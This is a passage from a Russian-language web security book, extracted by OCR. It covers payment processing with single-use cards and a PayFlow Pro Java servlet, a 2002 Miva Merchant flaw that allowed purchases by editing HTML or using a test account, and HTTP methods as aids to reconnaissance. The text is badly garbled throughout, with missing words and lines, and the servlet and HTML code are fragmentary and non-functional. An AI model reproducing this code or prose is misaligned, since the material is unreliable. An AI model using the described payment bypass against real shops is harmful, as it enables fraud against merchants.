продавец отсылает запрос своему финансовому учреждению, которое, в свою оче
редь, выполняет авторизацию в процессе взаимодействия с финансовым учрежде
нием покупателя. При этом используются сведения о сертификате покупателя.
Когда все формальности согласованы, платеж считается успешно произведенным.
Таким образом, владелец магазина никогда не имеет дела с реальными данными
кредитных карточек, и кража информации из системы продавца не влечет за собой
мошенничества. Вместе с тем протокол SET не получил широкого распростране
ния. В его основу была положена идеализированная модель, требующая от всех
трех участников проекта поддержки инфраструктуры шифрования по открытому
ключу (Public Key Infrastructure --- PKI) и серьезного программного обеспечения.
Чтобы добиться подобного результата, некоторые компании, предоставляющие кре
дитные
применяют новую технологию, предусматривающую использова
ние "разовых" кредитных карточек. Всякий раз, когда покупатель решает произвести
платеж в интерактивном режиме, такая компания выпускает в обращение "виртуаль
ную" кредитную карточку. Покупатель регистрируется на Web узле компании, пре
доставляющей разовые кредитные карточки. Далее он вводит такие параметры, как
сумма, которую необходимо будет уплатить, и срок действия платежа. В ответ гене
рируется номер "виртуальной" кредитной карточки, действительный только для од
ной транзакции. Этот номер связан с подлинной кредитной карточкой данного по
купателя и сохраняется на протяжении всего срока использования.
В дальнейшем вместо номера обычной кредитной карточки покупатель исполь
зует номер виртуальной карточки. С точки зрения продавца, виртуальная кре
дитная карточка обрабатывается точно так же, как и обычная. Финансовое учре
ждение, с которым взаимодействует интерактивный магазин, отправляет
щение с результатами верификации и расчетных операций компании, предос
тавившей покупателю виртуальную кредитную карточку. Там определяется,
ляется ли данная виртуальная карточка действующей и не превышает ли размер
платежа той суммы, которая была указана покупателем. Остальные этапы обра
ботки платежа выполняются обычном образом.
Сразу же после использования виртуальная кредитная карточка аннулируется. Ее
номер больше никогда не будет действителен. Если информация о виртуальной
кредитной карточке будет похищена с Web узла электронного магазина и
взломщик попытается повторно ею воспользоваться, подделка легко
98
Часть I. Будни электронной коммерции
ся и, помимо отказа в выполнении транзакции, по факту мошенничества будет
инициировано расследование.
Компания Discover Financial Services, эмитент кредитных карточек однократного
применения Discover (Single Use Credit Card), использует именно такую модель.
Эта компания предлагает покупателям также приложение Discover DeskShop, ко
торое можно интегрировать с броузером и, таким образом, упростить быстрый
"выпуск в
разовых кредитных карточек с Web узла Discover.com.
Подробную информацию об этом подходе можно найти по адресу:
Основная схема использования
разовых кредитных карточек представлена на рис. 3.8.
Для окончательного
оформления заказа
у пользователя
запрашивается номер
кредитной карточки
Электронный магазин
Платежная система
(Страница приложения, запрашивающая
номер кредитной карточки)
Передача номера
временной кредитной
карточки Discover
Покупатель
Система генерирует
для пользователя одну
временную карточку
Пользователь запрашивает
номер кредитной карточки
Discover и требуемую сумму
Финансовое учреждение
Номер кредитной карточки
одноразового использования
Система генерации
Рис. 3.8. Использование разовой кредитной карточки Discover для оплаты покупок
Страница подтверждения заказа
После того как покупатель решил оплатить товары, содержащиеся в электронной
тележке, управление передается странице подтверждения заказа, где покупатель дол
жен указать такую информацию, как номер кредитной карточки, свое имя, адрес и
тип доставки, а также адрес, по которому нужно отправить счет.
Интерфейс системы обработки платежей
финансового учреждения
Каждый электронный магазин взаимодействует с платежной системой определен
ного финансового учреждения. Эта система предоставляет интерфейс, реализованный
в виде программного компонента. Так, например, платежная система PayFlow Pro,
разработанная компанией VeriSign, предоставляет множество таких компонентов,
включая Java объект, динамически подключаемую библиотеку DLL, поддерживающую
технологию СОМ, а также совместно используемый модуль Unix.
Глава 3. Выбор товаров и обработка платежей
99
Вызов такого интерфейсного компонента выполняется из приложения, реализую
щего функции виртуального магазина. Этот компонент пересылает необходимую ин
формацию системе обработки платежей финансового учреждения через канал, за
шифрованный, например, с использованием протокола
Кроме того, данный мо
дуль возвращает приложению электронного магазина сообщение с кодом состояния
транзакции. В таком сообщении указывается, была ли транзакция успешно выполне
на, а также другая подробная информация. На основании полученного кода принима
ется решение о дальнейшей обработке заказа.
.
Транзакция,
зашифрованная
с использованием
протокола SSL
Покупатель
Страница
подтверждения
заказа
Интерфейс
системы
обработки
платежей
Интерфейс
базы данных
транзакций
Транзакция,
зашифрованная
с использованием
протокола SSL
1
'
Система обработки
платежей
Транзакция,
зашифрованная
с использованием
протокола SSL
Финансовое
учреждение
компании
Рис. 3.9. Основная архитектура подсистемы обработки платежей
Интерфейс базы данных транзакций
После передачи информации о транзакции системе обработки платежей финансо
вого учреждения данные о ней и результаты обработки записываются во внутреннюю
данных электронного магазина для будущего использования. Необходимо тща
тельно спроектировать интерфейс базы данных транзакций, чтобы исключить любую
возможность извлечения или искажения хакерами данных транзакции.
Пример взаимодействия с системой
обработки платежей финансового
учреждения
Популярная система обработки платежей PayFlow Pro распространяется компани
ей
Ее клиентская часть используется приложением электронного магазина и
взаимодействует с серверами PayFlow Pro компании VeriSign. Клиент PayFlow Pro
взаимодействует с серверами PayFlow Pro, передавая HTTP запросы, зашифрованные
с использованием SSL. В таком запросе содержатся различные параметры, необходи
мые для обработки транзакции.
100
Часть I. Будни электронной коммерции
В рассматриваемом примере интерфейс
Pro реализован с использованием
Java. В клиентской части Java объект PayFlow Pro инкапсулируется в серв
лете Java. На рис. 3.10 показано, как в Web броузере выглядит страница, с помощью
которой осуществляется взаимодействие с серверной частью системы PayFlow Pro.
Payment Gateway Interface
Cart code
Credit Card number
date
Рис. ЗЛО. Пример HTML страницы, пред
назначенной для взаимодействия со службой
PayFlow Pro
Представленный ниже фрагмент HTML взят из кода HTML страницы, которая мо
жет использоваться для взаимодействия с системой обработки платежных транзакций
PayFlow Pro и активизации клиентского компонента системы обработки платежей.
Gateway Interface</Hl>
<р>
<form
<table
code</tdxtd>input type=text
siz e=6></tdx/tr>
<tr><td>Credit Card
</tr>
type=text name=EXPMONTH size=2>
<input type=text
size=2></tdx/tr>
</table>
Ha HTML странице содержится форма, которая обеспечивает запуск сервлета
PFServlet
В свою очередь,
PFServlet создает Java объект PFPro, который и взаимодействует с системой обработки
платежей PayFlow Pro. В форму HTML вводятся следующие параметры.
Параметр
Описание
Код электронной корзины
Номер кредитной карточки покупателя
Месяц истечения срока действия кредитной карточки
Год истечения срока действия кредитной карточки
Электронная тележка каждого клиента имеет уникальный код. В
PFServlet
этот код используется для обработки всех товаров, помещенных в торговую тележку.
В идеале код электронной тележки должен автоматически передаваться подсистеме
обработки платежей электронного магазина из подсистемы управления сеансами при
ложения. Ниже приведен исходный код для сервлета PFServlet.
import
import
Глава З. Выбор товаров и обработка платежей
101
import javax.servlet.http.*;
import
public class PFServlet extends HttpServlet {
public void doGet
req,
res) throws
ServletException,
{ PrintWriter
out;
PFProAPI
« new
String ver =
// получение
HTML
String EXPMONTH
String
=
String
String
String EXPDATE =
+ EXPYEAR;
//
общей стоимости на основе
торговой
String
=
// получение
идентификатора и пароля
внутреннего хранилища
String
String password =
// узел с системой обработки
PayFlowPro
String HostAddress = "test.signio.com";
String HostPort
= "443";
// формирование строки параметров для передачи системе PayFlow Pro
String
=
+ username +
+ password +
+
+
+ EXPDATE +
+ AMOUNT
String Timeout
= "30";
// передача запроса на обработку
и получение результата
int =
HostAddress, HostPort,
ParmList,
// запись результата
out =
//
обработать
покупателя и сгенерировать товарный чек.
// перед завершением работы сервлета данные о транзакции нужно записать в базу данных.
} Пакет com.Signio.PFProAPI обеспечивает возможность использования Java объекта,
реализующего взаимодействие с системой PayFlow Pro. Этот пакет импортируется в
коде сервлета PFServlet. Экземпляр объекта pfObjec t инстанцируется на основе класса
PFProAPI. Этот объект используется для взаимодействия с серверами PayFlow Pro.
Затем обрабатываются параметры формы, переданные
PFServlet. После их
получения используется функция
которая проверяет содержи
мое торговой тележки покупателя и вычисляет общую стоимость покупок, необходи
мую для последующей обработки платежа.
В следующем фрагменте кода задаются параметры соединения с системой обра
ботки платежей финансовогр учреждения. В первую очередь из внутреннего храни
лища данных извлекается информация для регистрации в системе PayFlow Pro. Эти
параметры могут быть жестко заданы в программном коде, однако такой подход ни
как нельзя назвать удачным. Затем задается IP адрес и номер порта сервера. И нако
нец, формируется строка ParmList, содержащая список параметров, которые необхо
димо передать в HTTP запросе серверу PayFlow Pro. Эти параметры определяют тип
102
Часть I. Будни электронной коммерции
транзакции (в данном случае продажа (sale) обозначается символом S) и форму оплаты
(для кредитной карточки используется символ С (credit
Кроме того, в строке
параметров содержится также пользовательское имя и пароль системы PayFlow Pro,
номер кредитной карточки и конечный срок ее действия, стоимость покупки, некото
рая дополнительная информация о транзакции и адрес покупателя. Полное описание
всех этих параметров можно найти в руководстве разработчика системы PayFlow Pro,
предоставляемом компанией
После этого с помощью метода
генерируется запрос
на обработку платежа. В переменную
помешается код результата, полученный от
сервера PayFlow Pro. Как правило, на полную обработку запроса (от его генерации до
получения отклика результата) уходит несколько секунд.
В оставшемся фрагменте кода
обрабатываются результаты транзакции.
Если платеж был успешно принят,
генерирует сообщение о подтверждении
заказа и товарный чек, а затем инициирует процесс выполнения заказа. Если же об
работка платежа завершилась неудачно, формируется соответствующее сообщение
покупателю. Перед завершением работы сервлета данные о транзакции записыва
ются в базу данных.
Проблемы реализации подсистемы
обработки платежей
При реализации подсистемы обработки платежей и ее интеграции с соответствую
щей системой финансового учреждения возникает ряд вопросов, которые требуют
внимательного рассмотрения.
Интеграция
При интеграции подсистемы обработки платежей электронного магазина с интер
фейсным объектом системы финансового учреждения требуется, чтобы из клиентской
базы данных не извлекались никакие конфиденциальные данные. Так, например, об
щая стоимость выбранных товаров всегда должна подсчитываться с учетом содержи
мого электронной торговой тележки и стоимости товаров, хранящейся в серверной
базе данных, а не базироваться на сведениях, поступивших от покупателя.
Временная информация
.
Если на сервере необходимо хранить какую либо временную информацию, то ее
следует размещать вне корневого каталога документов Web в отдельной области фай
ловой системы, специально предназначенной для этих целей. В этом случае с помо
щью Web броузера взломщик не сможет извлечь промежуточные или временные фай
лы. Как только в хранении временных данных больше нет необходимости, их нужно
сразу же удалить. Кроме того, нужно позаботиться о том, чтобы не произошло нало
жения временной информации двух параллельных сеансов.
Протокол SSL
Протокол SSL не имеет прямого отношения к обеспечению безопасности сер
верной части приложения. Однако очень важно, чтобы этот механизм использовал
ся для шифрования данных, передаваемых между системой покупателя и Web узлом
Глава 3. Выбор товаров и обработка платежей
103
виртуального магазина, а также между электронным магазином и системой обработки
платежей финансового учреждения. При этом злоумышленники не смогут "прибрать
к рукам" конфиденциальные данные, передаваемые в Internet.
Хранение профилей пользователей
Многие электронные магазины розничной торговли позволяют покупателям ис
пользовать свой собственный профиль (набор параметров) и хранить его на сервере
магазина. Зачастую в таком профиле содержится также информация о платежах, в том
числе сведения о кредитных карточках. В таких случаях необходимо предпринять по
вышенные меры безопасности, гарантирующие, что профили пользователей не будут
подвергнуты риску ни при каких обстоятельствах.
Изъяны слабой интеграции подсистем выбора товаров и обработки
платежей
4 января 2002 года появилось сообщение об изъяне, обнаруженном в электрон
ной тележке Miva Merchant (версии 3.x) и системе обработки платежей
компании VeriSign. Воспользовавшись им, в рамках подсистемы выбора товаров
можно было выполнять недопустимые транзакции с помощью недействительных
кредитных карточек. По существу, ошибка была не в самой системе обработки
платежей, а в методе интеграции приложения электронной тележки с системой
обработки платежей.
Существует два способа использования этого изъяна. Первый заключается в мо
дификации кода HTML страниц таким образом, чтобы вместо страницы с фор
мой оформления платежа сразу же выводилась страница подтверждения заказа.
Тем самым полностью пропускается этап проверки достоверности пользователь
ских данных. Второй путь "обхода" системы состоит в том, чтобы создать в сис
теме PayFlow компании VeriSign пустую тестовую учетную запись. Такая учетная
запись зарезервирована для тех разработчиков, которым нужно протестировать
свои приложения. И вновь для незаконного использования электронной торговой
тележки достаточно отредактировать HTML код и вместо страницы оформления
заказа воспользоваться адресом URL, используемым для отладки. Далее фальши
вый номер "тестовой" кредитной карточки может быть использован для приобре
тения товаров. Подробная информация об этих способах мошенничества содер
жится по адресу: http://securitytracker.com/alerts/2002/Jan/1003102.html.
PayPal --- электронные платежи,
доступные каждому
Такие системы обработки платежей, как PayPal (http://www.paypal.com), позволили
отдельным пользователям выполнять электронные платежи через Web. Подобная воз
можность привела к значительному увеличению числа лиц, в том числе мелких пред
принимателей, а также небольших компаний, которые ведут свои дела через Internet.
Транзакции PayPal выполняются с использованием кредитных карточек. В системе
PayPal каждый пользователь может зарегистрироваться бесплатно. Персональная
учетная запись связывает сведения о кредитных карточках пользователя с его иденти
фикационными данными. Для ссылки на собственные счета клиенты PayPal просто
используют свой адрес электронной почты. Предположим, что некий пользователь
104
Часть I. Будни электронной коммерции
хочет выполнить платеж на имя пользователя
ранее уже получившего
учетную запись PayPal. Ссылка на учетную запись Jill в PayPal осуществляется с ис
пользованием электронного адреса ---
Если Mallory захочет перевести
Jill некоторую сумму денег, то первое, что ему следует сделать, --- это зарегистриро
ваться в PayPal. Mallory создает собственную учетную запись PayPal и связывает с ней
номер своей кредитной карточки. Затем Mallory регистрируется в системе PayPal и
инициирует платеж на счет, связанный с адресом jilliexample.com. В системе PayPal
кредитная карточка Mallory используется для добавления на счет Jill указанной сум
мы. На электронный адрес Jill автоматически отправляется сообщение о том, что бы
ли получены деньги от Mallory.
Системой PayPal предлагается три типа учетных записей: personal, premium и
business. При этом с каждой из них связаны различные возможности и льготы, ориенти
рованные на отдельных пользователей, отдельных пользователей с большим объемом
платежей и представителей малого бизнеса соответственно. Кроме того, системой PayPal
предоставляется ряд дополнительных услуг: возможность выполнения платежей по кре
дитным карточкам напрямую, использование банкоматов или дебетных карточек, под
ключенных к счету PayPal, обслуживание нескольких счетов одновременно и т.д.
В настоящее время услугами PayPal пользуются около 15 миллионов физических
лиц и небольших предприятий. При этом финансовые операции они могут осуществ
лять в интерактивном режиме. PayPal --- это основной метод приема платежей на
Web узлах аукционной продажи, таких, как eBay. Немалую роль система PayPal играет
также в развитии рынка условно бесплатного программного обеспечения, которое
распространяется по принципу "прежде чем покупать, попробуй". Такое программное
обеспечение предлагается разработчиками бесплатно. При этом предоставляется воз
можность приобретения его полноценной копии позднее. Система PayPal позволяет
отдельным разработчикам программного обеспечения принимать платежи с кредит
ных карточек тех клиентов, которые используют их программные средства. Интересен
тот факт, что система PayPal также широко используется в индустрии Internet
порнографии, позволяя владельцам соответствующих Web узлов взимать плату за про
смотр предоставляемого содержимого.
•
Резюме
Электронные торговые тележки и системы обработки платежей --- это основа
любого приложения электронной коммерции, предназначенного для обслуживания
клиентов через Internet. Именно эти компоненты приложения обеспечивают обмен
конфиденциальными и критически важными данными между покупателями и компа
ниями по Internet. Следовательно, вопросам безопасного функционирования подоб
ных подсистем должно уделяться самое пристальное внимание. Каждый из этих ком
понентов должен быть тесно связан с другими частями приложения. Любая ошибка
в реализации может стать причиной серьезной утечки информации, хранящейся на
сервере. Любой программный продукт, представленный на современном рынке, тре
бует тщательного тестирования в аспекте обеспечения безопасности. Причем такую
проверку стоит выполнять еще до покупки приложения, а не после его установки.
Глава 3. Выбор товаров и обработка платежей
105
ГЛАВА 4
п TPS
Слепой не будет благодарен за зеркало.
Английская пословица XVIII века. Из собраний Томаса Фуллера
(Thomas Fuller),
1732
Введение
Ежедневно во всем мире и за его пределами миллиарды электронов передаются по
тысячам миль кабеля между узлами Internet. Эти электроны доставляют почтовые со
общения, изображения и звук на миллионы компьютеров, подключенных к World
Wide Web. Во многих сообщениях содержится жизненно важная и конфиденциальная
информация, которой могут завладеть хакеры (если получат доступ к этим сообщени
ям) и впоследствии нанести большой вред. Многие из них именно этим и занимают
ся. Почему же существует эта опасность, несмотря на технический прогресс в области
разработки брандмауэров и программного обеспечения, предназначенного для выяв
ления вторжений? Ответ на этот вопрос связан с двумя TCP портами --- 80 и 443.
Эти порты используются службами, основой которых являются протоколы HTTP
Transfer Protocol) и
(HTTP поверх SSL), чем и объясняется растущее
количество
Почему же так происходит? Причина чрезвычайно проста:
люди становятся жертвами искусного мошенничества. Разработчики программного
обеспечения и провайдеры услуг Internet очень часто прибегают нечестным ухищрени
ям и уловкам. Они уверенно заявляют: "Купите хороший брандмауэр и систему выявле
ния вторжений (Intrusion Detection System --- IDS), и ваши проблемы, связанные с обес
печением безопасности, исчезнут сами собой". Любой человек с высоким уровнем ин
теллекта должен знать, что независимо от количества используемых брандмауэров и
систем IDS, никогда нельзя обеспечить гарантированную защиту от Web атак.
Брандмауэры не помогут защититься от Web атак. Их можно сравнить с лежачими по
лицейскими на улицах Internet. Почему? Потому что через них должен свободно проходить
весь Web трафик. В результате протоколы
позволяют взломщику практиче
ски полностью игнорировать брандмауэры. Вне всякого сомнения, протокол HTTP должен
вызывать у хакеров восхищение. Обычно все, что можно сделать с использованием HTTP,
можно сделать также и с помощью
В этой главе рассматриваются оба протокола
(HTTP и HTTPS), обсуждаются основные принципы их функционирования, а также пути,
которыми пользуются хакеры для расширения границ своей деятельности.
Протоколы Web
World Wide Web --- это набор протоколов, которые подобны полицейским, регу
лирующим "уличное" движение в Internet. Пакеты --- это автомобили, грузовики и
автобусы на информационной супермагистрали; а протоколы --- это остановки, све
тофоры и эстакады. С учетом такого определения, протоколы играют чрезвычайно
важную роль в управлении повседневной жизнью Internet. Как следствие,
ока
зываются столь же важными и для хакеров, которые хотят воспользоваться их не
достатками (а иногда и функциональными возможностями).
В этой главе обсуждаются основные протоколы, используемые в электронной
коммерции. Кроме того, вы узнаете, как хакеры пытаются воспользоваться ими для
достижения собственной выгоды. Здесь также описывается множество бесплатных
утилит, работа которых основывается на преимуществах этих протоколов. Подобные
программные средства позволяют автоматизировать выполнение большей части тяже
лой рутинной работы.
HTTP
Вне всякого сомнения, HTTP --- наиболее распространенный протокол Internet.
Для взаимодействия и обмена информацией этот протокол должен использоваться на
каждом Web броузере и сервере. Существует три основные версии протокола, которые
Глава 4. Хакинг протоколов HTTP и HTTPS
107
поддерживают одну и ту же фундаментальную структуру. HTTP --- это протокол за
просов/ответов, не требующий поддержки соединения и позволяющий компьютерам
достаточно эффективно и непрерывно взаимодействовать друг с другом в течение ча
сов, дней и недель.
Хотя используемая в настоящее время версия 1.0 протокола HTTP существенно
отличается от первоначальной спецификации, предложенной Тимом Бернерсом Ли
(Tim Berners Lee) в марте 1990 года, его характерные особенности изменились не
значительно. На рис.
изображены основные компоненты HTTP и принципы их
использования.
Клиент передает запрос HTTP, используя разные
методы и заголовки запроса
HEAD /
Клиентский броузер Сервер возвращает код ответа HTTP, используя
разные заголовки запроса
Web сервер
200
Server:
Date: Mon, 15 Apr 2002 05:56:57 GMT
bytes
Last Modified: Sat, 06 Apr 2002 06:48:32 GMT
Etag:
5
Рис. 4.1. Протокол HTTP
Рассмотрим основные версии протокола HTTP подробнее.
HTTP/0.9
Первой официальной спецификацией протокола HTTP считается
Эта и
последующая версии определены группой IETF (Internet Engineering Task Force) в до
кументе RFC 1945
В течение четырех лет (1992
1996) протокол
получил широкое распространение в Internet, хотя в то вре
мя технология Web еще не была достаточно развита. Версия 0.9 была весьма ограни
ченной и не содержала тех элементов, которые в настоящее время требуются для
взаимодействия в Web.
Спецификация НТТР/1.0 появилась в самом начале эры стремительного развития
Internet, в мае 1996 года. Несмотря на небольшой возраст этой версии (в технологиче
ском смысле), она является основной версией протокола HTTP, используемой сейчас
в Internet. В процессе взаимодействия на большинстве Web серверов и броузеров по
прежнему по умолчанию используется протокол НТТР/1.0. Подобно НТТР/0.9, спе
цификация НТТР/1.0 определена в документе RFC 1945.
108
Часть I. Будни электронной коммерции
В основу НТТР/1.0 положен процесс обмена запросами и ответами, в рамках кото
рого клиенту (Web броузеру) и серверу (Web серверу) разрешается (или запрещается)
передавать, анализировать и получать информацию.
Вообще, в спецификации НТТР/1.0 адрес URL определен следующим образом:
//узел [ порт ] [
путь ]
Здесь узел --- это имя целевого узла, порт --- необязательный номер порта,
путь --- запрашиваемый ресурс.
Запрос HTTP
При генерации запроса первым шагом должен быть выбор метода, который будет
использоваться. В табл.
описаны методы, определенные в спецификации НТТР/1.0.
Таблица Методы НТТР/1.0
Метод Описание
GET Позволяет извлечь информацию из файловой системы. Если запрашиваемый файл является
статическим файлом HTML, то будет отображено его содержимое. Однако если файл является
динамическим файлом ASP, то Web сервер обработает его, выполнит содержащиеся в нем ко
манды и передаст результаты выполнения обратно броузеру.
Пример: GET
Замечание: после строки
необходимо дваж
ды нажать клавишу <Enter>
Метод HEAD почти идентичен методу GET, с одной оговоркой: при его использовании запраши
ваемые данные возвращены не будут. Однако преимущество метода HEAD заключается в том,
что в качестве ответа передается
код ответа сервера, дата, заголовок серве
ра и т.д. Эти данные позволяют взломщику (иногда) "прощупывать" Web сервер, на котором вы
полняется Web приложение.
Пример: HEAD / НТТР/1.0. Замечание: после строки НТТР/1.0 необходимо дважды нажать
клавишу <Enter>
POST При использовании метода POST данные передаются серверу в теле запроса. Обычно метод
POST используется в том случае, если в процессе взаимодействия применяется интерфейс CGI
или серверные сценарии. Замечание: для всех запросов POST требуется указать корректный за
головок Content Length
Ответ HTTP
Полученный от клиента запрос HTTP обрабатывается сервером, который обратно
передает ответ. В качестве ответа передается набор следующих компонентов:
• код ответа (response code) --- числовой код, связанный с откликом;
• поля заголовка (header field) --- дополнительная информация об ответе;
• данные --- содержимое, или тело ответа.
При наличии этих трех компонентов клиентский броузер "понимает" ответ серве
ра и может с ним взаимодействовать. Рассмотрим каждый компонент подробнее.
Код ответа
Это первая часть ответа сервера, которая определяет все последующее взаимодей
ствие. Возможны четыре ответа сервера: Success (успешное завершение передачи за
проса), Redirection (перенаправление), Client Error (ошибка клиента) или Server Error
(ошибка сервера). Значение кода ответа зависит от
запроса. В табл. 4.2
приведены наиболее стандартные коды ответа, генерируемые сервером.
Глава 4. Хакинг протоколов HTTP и
109
Таблица 4.2. Общие коды ответов
Код ответа
Описание
Success 2xx
200 ОК
RedirectionЗхх
Запрос успешно принят
301 Moved Permanently Запрашиваемый ресурс содержится по новому постоянному адресу URL, ко
торый указан в поле Location. С помощью этого кода ответа сервер сооб
щает: переместился, следуй за мной по новому адресу"
302 Moved Temporarily Запрашиваемый ресурс можно найти с использованием нового временного
URL, который указан в поле Location. Этот код ответа говорит: "Я пере
местился, следуй за мной по новому адресу, но не рассчитывай, что я
долго там задержусь"
Client Error 4xx
400 Bad Request
401 Unauthorized
403 Forbidden
Not Found
Server Errors 5xx
500 Internal Server
Error
501 Not implemented
502 Bad Gateway
503 Service
Unavailable
Сервер не понял запроса
Для доступа к запрашиваемому ресурсу нужно пройти аутентификацию
Сервер понял запрос, но отказывается отвечать. Как правило, если для по
лучения ответа используется метод то предоставляется (или вообще
отсутствует) минимальная дополнительная информация. В то же время при
использовании метода HEAD некоторые серверы возвращают более подроб
ную информацию о причинах возникновения данного условия
Нужный ресурс не найден
При обработке запроса на сервере возникла внутренняя ошибка
Сервер не поддерживает запрос
При запросе ресурса сервер получил некорректный ответ от другого серве
ра. Такой ответ типичен для proxy серверов HTTP
Сервер не может ответить на запрос из за своей перегруженности
Более полный перечень кодов ответов протоколов
и
содержит
ся в приложении Б.
С помощью кода 501 (Not Implemented) клиенту сообщается, что выбранный метод
сервером не поддерживается. Например, такой код будет получен в том случае, если
серверу НТТР/1.0 передать запрос с методом OPTIONS (который определен только в
спецификации
Поля заголовка
Как в ответе сервера на запрос клиента, так и в ответе клиента на запрос сервера
содержатся поля заголовка с дополнительной информацией. Сервер и клиент выпол
няют анализ этих полей и при необходимости используют полученную информацию.
Основные поля заголовка описаны в табл. 4.3.
110
Часть I. Будни электронной коммерции
Таблица 4.3. Определения полей заголовка
Поле заголовка Описание
Предоставляет список методов, поддерживаемых запрашиваемым ресурсом
Содержит регистрационные данные, необходимые для аутентификации HTTP
Перечисляет, какое дополнительное кодирование применялось к переданным дан
ным. На основе этой информации клиент может правильно интерпретировать полу
ченные данные. Например, поле
x gzip означает, что к со
держимому было применено сжатие gzip
Указывает размер содержимого в октетах (десятичное число). Например, Content
Length: 33 2
Описывает тип содержимого ответа. Например, поле
text/HTML
определяет, что типом содержимого является text/HTML. Это поле позволяет пра
вильно отобразить полученное содержимое в клиентском броузере
Содержит дату и время сервера
Содержит дату и время, при
которых содержимое считается устаревшим
Содержит адрес электронной почты, используемый для определения
сгенерировавшего ответ. Это поле используется редко
Содержит дату и время последнего изменения ресурса на сервере
Указывает местоположение запрашиваемого ресурса
Описывает
параметры обработки запроса. Например, если в поле
заголовка Pragma, полученного от сервера, указана директива no cash, то клиент
должен загрузить полученное содержимое независимо от того, содержится ли в
буфере копия этих данных
Позволяет клиенту указать адрес ресурса
Описывает запущенное на сервере программное обеспечение. В большинстве слу
чаев эта информация является точной. Например, Server:
Однако не нужно забывать о том, что некоторые сообразительные администраторы
могут изменить эту информацию. В результате вполне возможно получить сообще
ние "Web сервер Микки"
Предоставляет дополнительную информацию о пользовательском (клиентском)
агенте, который запрашивает информацию. Например,
Используется в ответ на получение кода 401
Применяется в про
цессе взаимодействия с сервером для получения санкционированного доступа
Данные
Блок данных, содержащихся в клиентском запросе или ответе сервера, --- это ос
новная часть информации, передаваемой в процессе взаимодействия. При использо
вании метода GET в запросе на получение ресурса по умолчанию можно воспользо
ваться следующим синтаксисом:
С:\>
Hww.example.com 80
GET /
Another <cr> <lf> here
В результате обратно в блоке данных будет передана Web страница, используемая
по умолчанию.
Allow
Authorization
Content Encoding
Content Length
Content Type
Date
Expires
From
Last Modified
Location
Pragma
Referer
Server
User Agent
WWW Authenticate
Глава 4. Хакинг протоколов HTTP и HTTPS
111
HTTP/1.1
Официальная спецификация протокола
появилась в 2001 году и в на
стоящее время широко используется. Подробные сведения об этой новой версии и
описание ее основных отличий от версии
представлены в документе
RFC 2616 группы IETF. Причиной появления протокола HTTP/1.1 послужили не
достатки, обнаруженные в его предыдущей версии. К этим недостаткам относится
отсутствие поддержки иерархических связей между
слабая под
держка кэширования и отсутствие корректной обработки постоянных соединений и
виртуальных узлов.
В протоколе HTTP/1.1 адрес URL выглядит следующим образом:
При сравнении адресов URL версий НТТР/1.0 и
можно заметить одно
существенное отличие: протокол НТТР/1.1 поддерживает передачу параметров сцена
рия с использованием запроса ?. Эта особенность используется практически во всех
Web приложениях и оказывается одним из первых механизмов, подвергающихся ата
ке. Все, что указано после символа ?, обрабатывается сценарием, а следовательно,
становится целью атаки (таковы правила игры с хакерами).
Запрос HTTP
Протокол НТТР/1.1 основывается на НТТР/1.0, однако поддерживает гораздо
больше методов. Описание методов НТТР/1.1 приведено в табл. 4.4.
Таблица 4.4. Методы
Метод Описание
CONNECT Новый для
Можно использовать при взаимодействии с proxy сервером, который позволяет динамически
переключаться в режим
(т.е. туннелирования SSL)
DELETE Новый для
Позволяет исходному серверу удалить указанный ресурс. По умолчанию эта возможность не
доступна на большинстве новых серверов. Однако при использовании такого метода об удач
ной обработке запроса будет свидетельствовать ответ 200 ОК. Ответ 202 Accepted будет
возвращаться в том случае, если запрос был принят, но его обработка еще не закончена. Со
общение 204 NO Content означает, что запрос был принят, но обратно возвращать нечего
GET Позволяет извлечь информацию из файловой системы. Если запрашиваемый файл является
статическим файлом HTML, то будет отображено его содержимое. Однако если файл является
динамическим файлом ASP, то Web сервер обработает его, выполнит содержащиеся в нем
команды и передаст результаты выполнения обратно броузеру.
Пример: GET /default.htm НТТР/1.1. Замечание: после строки НТТР/1.1 необходимо
дважды нажать клавишу <Enter>
HEAD Метод HEAD почти идентичен методу GET, с одной оговоркой: при его использовании запраши
ваемые данные возвращены не будут. Однако преимущество метода HEAD заключается в том,
что в качестве ответа передается
код ответа сервера, дата, заголовок сер
вера и т.д. Эти данные позволяют взломщику (иногда) "прощупывать" Web сервер, на котором
выполняется Web приложение.
Пример: HEAD/HTTP/I
после строки
необходимо дважды нажать
клавишу <Enter>
112
Часть I. Будни электронной коммерции
Окончание табл. 4.4
Метод Описание
OPTIONS Позволяет получить информацию о параметрах связи, которые можно использовать при досту
пе к нужному ресурсу. Если используется символ звездочки (*), то ресурс считается стандарт
ным и в ответе будут указаны только стандартные методы. Например, при использовании сим
вола в ответе будут указаны только четыре метода: GET, HEAD, OPTIONS и TRACE.
OPTIONS * HTTP/1 Л
Host:
HTTP/1.1 200 OK
Date:
15 Apr 2002 00:08:32 GMT
Server:
(Unix)
Content Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
В то же время при использовании символа / можно получить перечень всех разрешенных
методов.
OPTIONS / HTTP/1.1
Host: www.example.com
200 ОК
Date: Mon, 15 Apr 2002 00:"07:17 GMT
Server:
(Unix)
Content Length: 0
Allow: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH,
MOVE,
TRACE
Этот метод может оказаться весьма полезным (с точки зрения хакера) при исследовании
функциональных возможностей Web узла
POST При использовании метода POST данные передаются серверу в теле запроса. Обычно метод
POST используется в том случае, если в процессе взаимодействия применяется интерфейс CGI
или серверные сценарии. Замечание: для всех запросов POST требуется указать корректный
заголовок Content Length
PUT
Позволяет сохранить передаваемые данные на сервере. Например, приведенный ниже фраг
мент позволяет создать файл EXAMPLE, в котором будут содержаться данные, переданные в
запросе.
PUT /EXAMPLE
Host: 192.168.0.5
Content Length: 5
Hello there
TRACE Позволяет сгенерировать запрос на получение циклического сообщения. Даже если запрос
предназначен для целевого сервера, зачастую вместо него отвечают proxy серверы. Эта ха
рактеристика позволяет взломщику выполнить инвентаризацию
Как и при использовании протокола
запросы HTTP/1.1 передаются
клиентом и соответствующим образом обрабатываются сервером. В ответе HTTP/1.1
можно выделить следующие элементы:
• код ответа (response code) --- числовой код, связанный с откликом;
• поля заголовка (header field) --- дополнительная информация об ответе;
• данные --- содержимое, или тело ответа.
Глава 4. Хакинг протоколов HTTP и HTTPS
Коды ответа
В спецификации
к списку ранее используемых кодов ответов добавлено
много новых кодов, однако их основная часть осталась без изменений. Поэтому, для
того чтобы понять характерные особенности кодов
следует хорошо разо
браться с кодами ответов, определенными в протоколе
Поля заголовка
